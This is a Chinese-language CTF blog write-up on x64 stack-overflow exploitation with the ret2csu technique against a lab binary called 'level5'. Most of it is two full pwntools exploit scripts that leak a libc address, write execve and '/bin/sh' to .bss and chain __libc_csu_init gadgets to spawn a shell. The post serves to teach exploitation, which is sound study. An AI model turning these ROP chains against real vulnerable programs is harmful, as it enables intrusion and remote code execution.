pwn

栈溢出基础浅记(2)

中级rop(ret2csu)

Posted by Kody Black on October 6, 2023

这部分的内容主要是针对x64的栈溢出ROP,首先回顾一下x86和x64的函数调用区别。

  • x86
    • 函数参数函数返回地址的上方
  • x64
    • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
    • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

ret2csu

wiki里面的方法

官方的exp略加修改为python3的形式:

from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8


def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

我的方法

我的方法和wiki大差不差,利用的ROP略有区别

漏洞位置不再赘述,简单的栈溢出,同样可以通过查看gdb得知输入位置和rbp的距离

16966710635071696671062616.png

需要填充0x80个字节,为了能够修改控制函数的执行,首先要能控制rdi和rsi。

使用ROPgadget寻找pop rdi和rsi,发现都是有的

❯ ROPgadget --binary level5 --only 'ret|pop' | grep rdi
0x0000000000400623 : pop rdi ; ret
❯ ROPgadget --binary level5 --only 'ret|pop' | grep rsi
0x0000000000400621 : pop rsi ; pop r15 ; ret

以下是pop指令与各个寄存器的机器码:

pop rax:0x58

pop rbx:0x5B

pop rcx:0x59

pop rdx:0x5A

pop rsi:0x5E

pop rdi:0x5F

pop rbp:0x5D

pop rsp:0x5C

pop r8:0x41 58

pop r9:0x41 59

pop r10:0x41 5A

pop r11:0x41 5B

pop r12:0x41 5C

pop r13:0x41 5D

pop r14:0x41 5E

pop r15:0x41 5F

特别注意到,pop r8到r15这些寄存器的机器码后面一个字节是和前面的寄存器有重合的,所以可以利用这点,有pop r15,就相当于有了pop rdi。

查找libc中函数调用方式:https://elixir.bootlin.com/glibc/glibc-2.35

  • payload1:调用write函数输出write_got的地址,从而泄露libc地址

    write(1,write_got),返回main函数

  • payload2:调用read函数将execve_addr和’/bin/sh\x00’写入bss段

    read(0,bss_base)返回main函数

  • payload3:一开始是想直接调用execve_addr,执行/bin/sh,但是失败了,因为执行sys_execve时需要rdx为0,没有直接的方法修改rdx,所以使用了类似wiki的方法,具体见下面的exp

#!/usr/bin/env python

from pwn import *
from LibcSearcher import LibcSearcher

sh = process('./level5')
level5 = ELF('./level5')

write_got = level5.got['write']
read_plt = level5.plt['read']
write_plt = level5.plt['write']
main_addr = level5.symbols['main']
bss_base = level5.bss()
pop_rdi = 0x0000000000400623
pop_rsi_pop_r15 = 0x0000000000400621

payload = b'a' * 0x80 + b'deadbeef' + p64(pop_rdi) + p64(1) + p64(pop_rsi_pop_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)
# gdb.attach(sh)
sh.recvuntil(b'Hello, World\n')
sh.send(payload)

write_addr = u64(sh.recv(8))
log.success('write_addr ' + hex(write_addr))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))

sh.recvuntil(b'Hello, World\n')
payload= b'a' * 0x80 + b'deadbeef' + p64(pop_rdi) + p64(0) + p64(pop_rsi_pop_r15) + p64(bss_base) + p64(0) + p64(read_plt) + p64(main_addr)
sh.send(payload)
sh.send(p64(execve_addr) + b'/bin/sh\x00')
sh.recvuntil(b'Hello, World\n')
# gdb.attach(sh)
# 不能直接用下面的payload,因为执行execve时,进行系统调用时需要rdx为0,我们没有办法控制rdx,经测试此时rdx为0x200,导致execve失败
# payload = b'a' * 0x80 + b'deadbeef' + p64(pop_rdi) + p64(bss_base + 8) + p64(pop_rsi_pop_r15) +p64(0) + p64(0) + p64(execve_addr) + p64(main_addr)

# .text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54
# .text:0000000000400600                 mov     rdx, r13
# .text:0000000000400603                 mov     rsi, r14
# .text:0000000000400606                 mov     edi, r15d
# .text:0000000000400609                 call    qword ptr [r12+rbx*8]
# .text:000000000040060D                 add     rbx, 1
# .text:0000000000400611                 cmp     rbx, rbp
# .text:0000000000400614                 jnz     short loc_400600

# .text:000000000040061A                 pop     rbx
# .text:000000000040061B                 pop     rbp
# .text:000000000040061C                 pop     r12
# .text:000000000040061E                 pop     r13
# .text:0000000000400620                 pop     r14
# .text:0000000000400622                 pop     r15
# .text:0000000000400624                 retn
# 利用上面的这些指令,可以先通过修改r13,r14,r15间接修改rdx,rsi,rdi分别为0,0,bss_base
# 然后通过修改rbx和r12,使得0x400609调用的函数设置为bss_base中所指的函数,这样就可以执行execve了

loc_400600 = 0x0000000000400600
pop_rbx_rbp_r12_r13_r14_r15 = 0x000000000040061A
# gdb.attach(sh)
payload = b'a' * 0x80 + b'deadbeef' + p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(bss_base) + p64(0) + p64(0) + p64(bss_base+8) + p64(loc_400600)
# 输出payload的长度
log.success('payload3 length ' + str(len(payload)))
sh.send(payload)
sh.interactive()

花了一下午时间,也算是有点收获吧~

总的来说,wiki提供了一种通用解法,可以方便的修改多个寄存器,有时候为了快捷,可以优先考虑ret2csu!